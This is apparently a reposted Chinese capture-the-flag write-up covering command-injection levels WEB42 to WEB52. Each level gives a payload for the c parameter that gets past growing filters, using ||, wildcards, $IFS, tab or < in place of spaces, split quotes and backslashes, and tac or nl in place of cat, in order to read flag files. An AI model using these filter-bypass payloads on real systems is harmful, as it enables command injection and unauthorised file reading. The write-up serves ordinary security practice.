WEB42
>是写入
而1和2意思百度一下:
那么就是不管标准输出还是错误输出都输入到null里销毁
构造两个语句即可绕过
c=cat flag.php;ls
WEB43
过滤了;和cat 其他同上一题
过滤分号用&&或||代替 注意url别直接输入&要转码
cat能代替的一大堆
c=more flag.php||ls
WEB44
同上 继续过滤了flag
可以用通配符代替
c=more f*||ls
WEB45
同上 继续过滤了空格
可以用$IFS代替
c=tac$IFS*||ls
WEB46
过滤了数字 $ 和 *
可以用%09(tab)代替空格
*用 ???????代替
c=tac%09????????||
WEB47
继续过滤一些输出 tac没过滤
同上web46
c=tac%09????????||
WEB48
继续过滤一些输出 tac没过滤
同上web46
c=tac%09????????||
WEB49
同上web46
c=tac%09????????||
WEB50
过滤了%09,空格可以用<代替
不知道为啥这里?没用,可以在flag之间加’ ‘ 绕过
c=tac<fl‘‘ag.php||
WEB51
这里tac也过滤了,可以用nl
c=nl<fl‘‘ag.php||
WEB52
继续过来了 <>
但是$过滤,用${IFS}
貌似单用$IFS后面要加\
另外\ 单写可以随便插入指令中绕过一些检查
发现这里没flag
猜测在根目录
果然
c=nl${IFS}/fla\g||
WEB52
这里执行方式变了,先是system执行c
在输出结果到前端代码
先ls
c=nl${IFS}fla\g?php
原文:https://www.cnblogs.com/aninock/p/15130230.html